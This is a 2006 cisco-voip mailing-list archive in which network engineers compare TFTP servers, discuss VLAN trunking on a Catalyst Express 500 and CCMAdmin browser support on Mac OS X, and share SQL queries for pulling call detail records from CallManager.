> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] What do y'all use for a TFTP server?
> 
> I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus Scan
> just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
> deleted it without asking for my opinion.  I've downloaded the latest
> version and re-installed it, and so far Virus Scan hasn't complained again,
> but I'd be interested in what others are currently using.
> 
> Mike Armstrong
> UF/IFAS CREC
> Lake Alfred, FL 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip


From kfedor at amt.ru  Fri Feb 17 08:48:32 2006
From: kfedor at amt.ru (Fedorov, Konstantin)
Date: Fri Feb 17 09:02:11 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
Message-ID: <8B5577ED1D5D2F4AA0E4651EC41C6DC70640477B@amthqex01.amt.ru>

Hi

For example this one
http://www.solarwinds.net/FreeTools.htm


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 17, 2006 4:41 PM
To: 'Mike Armstrong'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I use both "tftpd32" and unix based tftp.  Haven't really found a need
for
anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus
Scan
just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
deleted it without asking for my opinion.  I've downloaded the latest
version and re-installed it, and so far Virus Scan hasn't complained
again,
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From BRiley at jackhenry.com  Fri Feb 17 09:08:33 2006
From: BRiley at jackhenry.com (Bill Riley III)
Date: Fri Feb 17 09:08:37 2006
Subject: [cisco-voip] is there to config "allow vlan 10, 20, 30,
	40 on cat500
Message-ID: <13591CB4B2359F4D96E2606DD6B840A0012E4437@smoxchg.jhacorp.com>

As a general question why would you replace a 3550 with a 500? Is the
3550 failing or are you trying out the 500 switch?  

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 16, 2006 4:45 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] is there to config "allow vlan 10,20,30,40 on
cat500

 

We have the cat exp 500 and it confusing to config  when you try to
match it to the cat 3550  you are replacing.  One of our ports on the
3550 is for an AP with multiple vlans 

 

Int fa  0/23 

 Switchport access vl 30 

 Switchport trunk enc dot1q

 Switchport trunk allowed vl 10,20,80

 Switchport mode trunk 

 

How do I make this happen on a cat exp 500,  Will the ap role
automatically allow this 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From rratliff at cisco.com  Fri Feb 17 09:28:31 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb 17 09:35:53 2006
Subject: [cisco-voip] CCMAdmin on OS X
In-Reply-To: <9C64F2AD-2020-4879-A9A3-96ED126EF8E0@mac.com>
References: <9C64F2AD-2020-4879-A9A3-96ED126EF8E0@mac.com>
Message-ID: <E6A7EB93-3BD0-4B1B-9325-BF4B31460D97@cisco.com>

Just tested with CM 4.1.3 and with Safari it complains about the java  
vm not being installed.  Firefox 1.5 it just crashes.

-Ryan

On Feb 16, 2006, at 6:03 PM, Tim Medley wrote:

Just curious how many other folks use Mac's and OS X as there day to
day computer. A while back I ran some basic tests and found that
Opera would work to use CCMAdmin and Unity SA, but recently have
found that it no longer works. I am wondering what other people have
found or if you have just given up?

tm

Tim Medley
medley at mac.com



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From CORTIZ at broward.org  Fri Feb 17 09:55:31 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Fri Feb 17 09:55:39 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E01@MREXVS01.bc.broward.cty>

Been using 3COM's 3Cserver for years....does what I Need it to do..... 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov,
Konstantin
Sent: Friday, February 17, 2006 8:49 AM
To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Hi

For example this one
http://www.solarwinds.net/FreeTools.htm


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 17, 2006 4:41 PM
To: 'Mike Armstrong'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I use both "tftpd32" and unix based tftp.  Haven't really found a need
for anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus
Scan just decided it's a "Generic PUP.a (Potentially Unwanted Program)"
and deleted it without asking for my opinion.  I've downloaded the
latest version and re-installed it, and so far Virus Scan hasn't
complained again, but I'd be interested in what others are currently
using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From chris.ellington at nsi1.com  Fri Feb 17 10:35:42 2006
From: chris.ellington at nsi1.com (Chris Ellington)
Date: Fri Feb 17 10:35:54 2006
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
In-Reply-To: <200602171455.k1HEtfp7004582@puck.nether.net>
Message-ID: <C01B577E.51F9%chris.ellington@nsi1.com>

Doesn't everyone use Mac's now?  No flamewar here but hopefully the new 5.0
ccm will work with Macs.  I have found Mobility Manager 1.0 (which is Linux
based) works well with both Safari and Firefox.  If you use the 'User Agent
Switcher' and tell it you are an IE XP browser, it doesn't crash any more
but the 'RSEnableRemoteScripting' event seems to cause it to fail.
Something about a proxy couldn't be located.

Chris


On 2/17/06 9:55 AM, "cisco-voip-request at puck.nether.net"
<cisco-voip-request at puck.nether.net> wrote:


> 
> Message: 8
> Date: Fri, 17 Feb 2006 09:28:31 -0500
> From: Ryan Ratliff <rratliff at cisco.com>
> Subject: Re: [cisco-voip] CCMAdmin on OS X
> To: Tim Medley <medley at mac.com>
> Cc: "cisco-voip at puck-nether.net" <cisco-voip at puck.nether.net>
> Message-ID: <E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
> 
> Just tested with CM 4.1.3 and with Safari it complains about the java
> vm not being installed.  Firefox 1.5 it just crashes.
> 
> -Ryan
> 
> On Feb 16, 2006, at 6:03 PM, Tim Medley wrote:
> 
> Just curious how many other folks use Mac's and OS X as there day to
> day computer. A while back I ran some basic tests and found that
> Opera would work to use CCMAdmin and Unity SA, but recently have
> found that it no longer works. I am wondering what other people have
> found or if you have just given up?
> 
> tm
> 
> Tim Medley
> medley at mac.com
> 


-- 
Christopher S. Ellington
CCIE #6814
Network Solutions, Inc.
(317) 566 8897
Chris.Ellington at nsi1.com



From jgrace at digitelusa.net  Fri Feb 17 10:40:19 2006
From: jgrace at digitelusa.net (James Grace)
Date: Fri Feb 17 10:47:39 2006
Subject: [cisco-voip] is there to config "allow vlan 10, 20, 30,
	40 on cat500
In-Reply-To: <20060217022437.26885.qmail@web34311.mail.mud.yahoo.com>
Message-ID: <200602171046953.SM01568@3729434770>

Thank you.  Now i found that trunk to the router or another switch works. So
I going to try to config the port for the ap and an router 

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com] 
Sent: Thursday, February 16, 2006 9:25 PM
To: Kevin Thorngren; James Grace
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] is there to config "allow vlan 10, 20, 30, 40 on
cat500


In the following doc, you need to use the Smartports
option and the switch porttype to connect to another
switch. But no mention how to limit VLANs on trunk,
looks like the native vlan is only selectable on a
port type set to switch. From my understanding, these
are targeted toward smaller businesses and
easy-to-setup so  may not be as feature rich.

http://www.cisco.com/en/US/products/ps6545/products_user_guide_chapter09186a
0080531ea9.html#wp172088



--- Kevin Thorngren <kthorngr at cisco.com> wrote:

> I might be wrong but in looking at the Cat 500
> product data sheet I  
> don't see mention of trunking support.  Based on
> this I would say that  
> you won't be able to duplicate your 3550 config on
> the Cat 500.  The  
> data sheet can be found here:
> http://www.cisco.com/en/US/products/ps6545/ 
> products_data_sheet0900aecd80322aeb.html
> 
> Kevin
> On Feb 16, 2006, at 5:45 PM, James Grace wrote:
> 
> > We have the cat exp 500 and it confusing to
> config??? when you try to  
> > match it to the cat 3550??? you are replacing.???
One
> of our ports on the  
> > 3550 is for an AP with multiple vlans
> > ???
> > Int fa??? 0/23
> > ???Switchport access vl 30
> > ???Switchport trunk enc dot1q
> > ???Switchport trunk allowed vl 10,20,80
> > ???Switchport mode trunk
> > ???
> > How do I make this happen on a cat exp 500,???
Will
> the ap role  
> > automatically allow this
> > ???
> > James D. Grace
> > CCNP CCNA MCSE MCDBA
> > Sr. System Engineer / Professional Svc.
> > Digitel Corporation
> > ???
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
---



---




From Scott.Voll at wesd.org  Fri Feb 17 10:48:18 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb 17 10:48:28 2006
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE15B5@VISHNU.wesd.org>

I don't know if anyone else subscribes to the Cisco-NSP list but they
(including me) have been pretty cranked about the test TAC Caseopen tool
is only tested with IE.  I wish Cisco would get a Clue and make
everything more open source as far as browsers are concerned.  I would
like to be able to use any browser (not M$) to run all applications like
TAC, CM, IPCC, UNITY, WLSE, Etc.

RANT< Cisco Get On Board -- Listen To Your Customers -- And Fix It
>RANT.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Chris Ellington
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)

Doesn't everyone use Mac's now?  No flamewar here but hopefully the new
5.0
ccm will work with Macs.  I have found Mobility Manager 1.0 (which is
Linux
based) works well with both Safari and Firefox.  If you use the 'User
Agent
Switcher' and tell it you are an IE XP browser, it doesn't crash any
more
but the 'RSEnableRemoteScripting' event seems to cause it to fail.
Something about a proxy couldn't be located.

Chris


On 2/17/06 9:55 AM, "cisco-voip-request at puck.nether.net"
<cisco-voip-request at puck.nether.net> wrote:


> 
> Message: 8
> Date: Fri, 17 Feb 2006 09:28:31 -0500
> From: Ryan Ratliff <rratliff at cisco.com>
> Subject: Re: [cisco-voip] CCMAdmin on OS X
> To: Tim Medley <medley at mac.com>
> Cc: "cisco-voip at puck-nether.net" <cisco-voip at puck.nether.net>
> Message-ID: <E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
> 
> Just tested with CM 4.1.3 and with Safari it complains about the java
> vm not being installed.  Firefox 1.5 it just crashes.
> 
> -Ryan
> 
> On Feb 16, 2006, at 6:03 PM, Tim Medley wrote:
> 
> Just curious how many other folks use Mac's and OS X as there day to
> day computer. A while back I ran some basic tests and found that
> Opera would work to use CCMAdmin and Unity SA, but recently have
> found that it no longer works. I am wondering what other people have
> found or if you have just given up?
> 
> tm
> 
> Tim Medley
> medley at mac.com
> 


-- 
Christopher S. Ellington
CCIE #6814
Network Solutions, Inc.
(317) 566 8897
Chris.Ellington at nsi1.com


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Fri Feb 17 10:50:12 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb 17 10:50:21 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
Message-ID: <D713462ED535184D830F6F6301753E7E01BE15B6@VISHNU.wesd.org>

I have had some issues with Solarwinds and larger IOSes.  The tftpd32
has worked very well for us.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov,
Konstantin
Sent: Friday, February 17, 2006 5:49 AM
To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Hi

For example this one
http://www.solarwinds.net/FreeTools.htm


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 17, 2006 4:41 PM
To: 'Mike Armstrong'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I use both "tftpd32" and unix based tftp.  Haven't really found a need
for
anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus
Scan
just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
deleted it without asking for my opinion.  I've downloaded the latest
version and re-installed it, and so far Virus Scan hasn't complained
again,
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Fri Feb 17 10:56:12 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb 17 10:56:21 2006
Subject: [cisco-voip] Speaking of Express 500s
Message-ID: <D713462ED535184D830F6F6301753E7E01BE15B7@VISHNU.wesd.org>

Has anyone used a Cat. Express 500 in production yet.  We currently use
3560's and will continue to use 3560's but we also make suggestions to
our School districts as to what to buy.  Cisco has always been more
expensive but with the 500's this has changed.  We have previously
suggested the HP procurves but the price is almost the same.  And more
of my Schools are looking at VoIP so we would like them to start
thinking in this direction, but since we have not been able to get a
demo yet, and you guys always have great information, I would like to
hear from you.  I don't like not having the CLI but other then that and
the backplane (which shouldn't matter for k12 schools) do they work well
or are they buggy?

 

Thanks

 

Scott

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From ealeatherman at gmail.com  Fri Feb 17 10:58:53 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Fri Feb 17 10:58:55 2006
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE15B5@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE15B5@VISHNU.wesd.org>
Message-ID: <94a1afde0602170758r4416895cx171df7578b1fda01@mail.gmail.com>

Agreed, only thing I use IE for now is callmanager and Unity, because I have
to.

On 2/17/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
> I don't know if anyone else subscribes to the Cisco-NSP list but they
> (including me) have been pretty cranked about the test TAC Caseopen tool
> is only tested with IE.  I wish Cisco would get a Clue and make
> everything more open source as far as browsers are concerned.  I would
> like to be able to use any browser (not M$) to run all applications like
> TAC, CM, IPCC, UNITY, WLSE, Etc.
>
> RANT< Cisco Get On Board -- Listen To Your Customers -- And Fix It
> >RANT.
>
> Scott
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Chris Ellington
> Sent: Friday, February 17, 2006 7:36 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
>
> Doesn't everyone use Mac's now?  No flamewar here but hopefully the new
> 5.0
> ccm will work with Macs.  I have found Mobility Manager 1.0 (which is
> Linux
> based) works well with both Safari and Firefox.  If you use the 'User
> Agent
> Switcher' and tell it you are an IE XP browser, it doesn't crash any
> more
> but the 'RSEnableRemoteScripting' event seems to cause it to fail.
> Something about a proxy couldn't be located.
>
> Chris
>
>
> On 2/17/06 9:55 AM, "cisco-voip-request at puck.nether.net"
> <cisco-voip-request at puck.nether.net> wrote:
>
>
> >
> > Message: 8
> > Date: Fri, 17 Feb 2006 09:28:31 -0500
> > From: Ryan Ratliff <rratliff at cisco.com>
> > Subject: Re: [cisco-voip] CCMAdmin on OS X
> > To: Tim Medley <medley at mac.com>
> > Cc: "cisco-voip at puck-nether.net" <cisco-voip at puck.nether.net>
> > Message-ID: <E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
> > Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
> >
> > Just tested with CM 4.1.3 and with Safari it complains about the java
> > vm not being installed.  Firefox 1.5 it just crashes.
> >
> > -Ryan
> >
> > On Feb 16, 2006, at 6:03 PM, Tim Medley wrote:
> >
> > Just curious how many other folks use Mac's and OS X as there day to
> > day computer. A while back I ran some basic tests and found that
> > Opera would work to use CCMAdmin and Unity SA, but recently have
> > found that it no longer works. I am wondering what other people have
> > found or if you have just given up?
> >
> > tm
> >
> > Tim Medley
> > medley at mac.com
> >
>
>
> --
> Christopher S. Ellington
> CCIE #6814
> Network Solutions, Inc.
> (317) 566 8897
> Chris.Ellington at nsi1.com
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>



--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From kfedor at amt.ru  Fri Feb 17 11:02:38 2006
From: kfedor at amt.ru (Fedorov, Konstantin)
Date: Fri Feb 17 11:02:47 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
Message-ID: <8B5577ED1D5D2F4AA0E4651EC41C6DC7064048E3@amthqex01.amt.ru>

Strange.  Because I use Solarwwinds more than 2 years, and could't find
any problem.  What IOS ?


-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Friday, February 17, 2006 6:50 PM
To: Fedorov, Konstantin; Philip Walenta; Mike Armstrong;
cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I have had some issues with Solarwinds and larger IOSes.  The tftpd32
has worked very well for us.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov,
Konstantin
Sent: Friday, February 17, 2006 5:49 AM
To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Hi

For example this one
http://www.solarwinds.net/FreeTools.htm


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 17, 2006 4:41 PM
To: 'Mike Armstrong'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I use both "tftpd32" and unix based tftp.  Haven't really found a need
for
anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus
Scan
just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
deleted it without asking for my opinion.  I've downloaded the latest
version and re-installed it, and so far Virus Scan hasn't complained
again,
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From Scott.Voll at wesd.org  Fri Feb 17 11:07:44 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb 17 11:07:53 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
Message-ID: <D713462ED535184D830F6F6301753E7E01BE15BB@VISHNU.wesd.org>

The problem was with most IOSes more then ~20mb in size.  Basically Cat
6509 IOSes.   

Scott

-----Original Message-----
From: Fedorov, Konstantin [mailto:kfedor at amt.ru] 
Sent: Friday, February 17, 2006 8:03 AM
To: Voll, Scott; Philip Walenta; Mike Armstrong;
cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Strange.  Because I use Solarwwinds more than 2 years, and could't find
any problem.  What IOS ?


-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Friday, February 17, 2006 6:50 PM
To: Fedorov, Konstantin; Philip Walenta; Mike Armstrong;
cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I have had some issues with Solarwinds and larger IOSes.  The tftpd32
has worked very well for us.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov,
Konstantin
Sent: Friday, February 17, 2006 5:49 AM
To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Hi

For example this one
http://www.solarwinds.net/FreeTools.htm


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 17, 2006 4:41 PM
To: 'Mike Armstrong'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I use both "tftpd32" and unix based tftp.  Haven't really found a need
for
anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus
Scan
just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
deleted it without asking for my opinion.  I've downloaded the latest
version and re-installed it, and so far Virus Scan hasn't complained
again,
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From pwalenta at wi.rr.com  Fri Feb 17 11:08:27 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Fri Feb 17 11:09:00 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
In-Reply-To: <8B5577ED1D5D2F4AA0E4651EC41C6DC7064048E3@amthqex01.amt.ru>
Message-ID: <200602171608.k1HG8Oo9002573@ms-smtp-01.rdc-kc.rr.com>

Solarwinds has had chronic problems with images over 16MB.  TFTPD32 never
has, nor has Pumpkin to my knowledge. 

-----Original Message-----
From: Fedorov, Konstantin [mailto:kfedor at amt.ru] 
Sent: Friday, February 17, 2006 10:03 AM
To: Voll, Scott; Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Strange.  Because I use Solarwwinds more than 2 years, and could't find any
problem.  What IOS ?


-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org]
Sent: Friday, February 17, 2006 6:50 PM
To: Fedorov, Konstantin; Philip Walenta; Mike Armstrong;
cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I have had some issues with Solarwinds and larger IOSes.  The tftpd32 has
worked very well for us.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov, Konstantin
Sent: Friday, February 17, 2006 5:49 AM
To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

Hi

For example this one
http://www.solarwinds.net/FreeTools.htm


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 17, 2006 4:41 PM
To: 'Mike Armstrong'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] What do y'all use for a TFTP server?

I use both "tftpd32" and unix based tftp.  Haven't really found a need for
anything fancier. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] What do y'all use for a TFTP server?

I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus Scan
just decided it's a "Generic PUP.a (Potentially Unwanted Program)" and
deleted it without asking for my opinion.  I've downloaded the latest
version and re-installed it, and so far Virus Scan hasn't complained again,
but I'd be interested in what others are currently using.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From jgrace at digitelusa.net  Fri Feb 17 11:08:47 2006
From: jgrace at digitelusa.net (James Grace)
Date: Fri Feb 17 11:16:14 2006
Subject: [cisco-voip] need to pull info out the cdr tables
In-Reply-To: <2F09B2162CCDEA4EA05C089B24FBC2BC028380BC@CH-EXCH-02.intelltech.apptis.inc>
Message-ID: <200602171115734.SM01568@3729434770>

This is exactly what I needed.  Thank you  guys.  Hey is there something out
there, a tool that allow me to convert multiple epoch time. Like in a spread
sheet or text file 

 

  _____  

From: Brian Henry [mailto:Brian.Henry at apptis.com] 
Sent: Thursday, February 16, 2006 3:38 PM
To: Jonathan Charles; James Grace
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] need to pull info out the cdr tables

 

That is correct or another example.

 

select dateTimeOrigination, origIpAddr, callingPartyNumber, destIpAddr,
originalCalledPartyNumber, finalCalledPartyNumber, dateTimeConnect,
dateTimeDisconnect, lastRedirectDn, origDeviceName, destDeviceName from
CallDetailRecord where callingPartyNumber = '3082'

 

just remember that the time is in epcho time and needs manipulated.

 

Brian

 

  _____  

From: cisco-voip-bounces at puck.nether.net on behalf of Jonathan Charles
Sent: Thu 2/16/2006 3:29 PM
To: James Grace
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] need to pull info out the cdr tables

Here is a query we run to find 911 calls, you can modify as needed:

use cdr    
SELECT     dateTimeOrigination, callingPartyNumber, finalCalledPartyNumber,
originalCalledPartyNumber, duration
FROM         CallDetailRecord    
WHERE     (finalCalledPartyNumber = '911')    




Jonathan

On 2/16/06, James Grace <jgrace at digitelusa.net> wrote: 

Im in a crunch to get some data from the cdr records.  Currently we are no
able to run the cdr analyis and reporting pluging on our CM pub..  major
issues with the tomcat and tcd services,they wont start.  But all the other
setting are set up and data is populating in the cdr tables.  Can someone
give me a basic sql query to pull out all calls in and out to a particular
ext.

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 


_______________________________________________
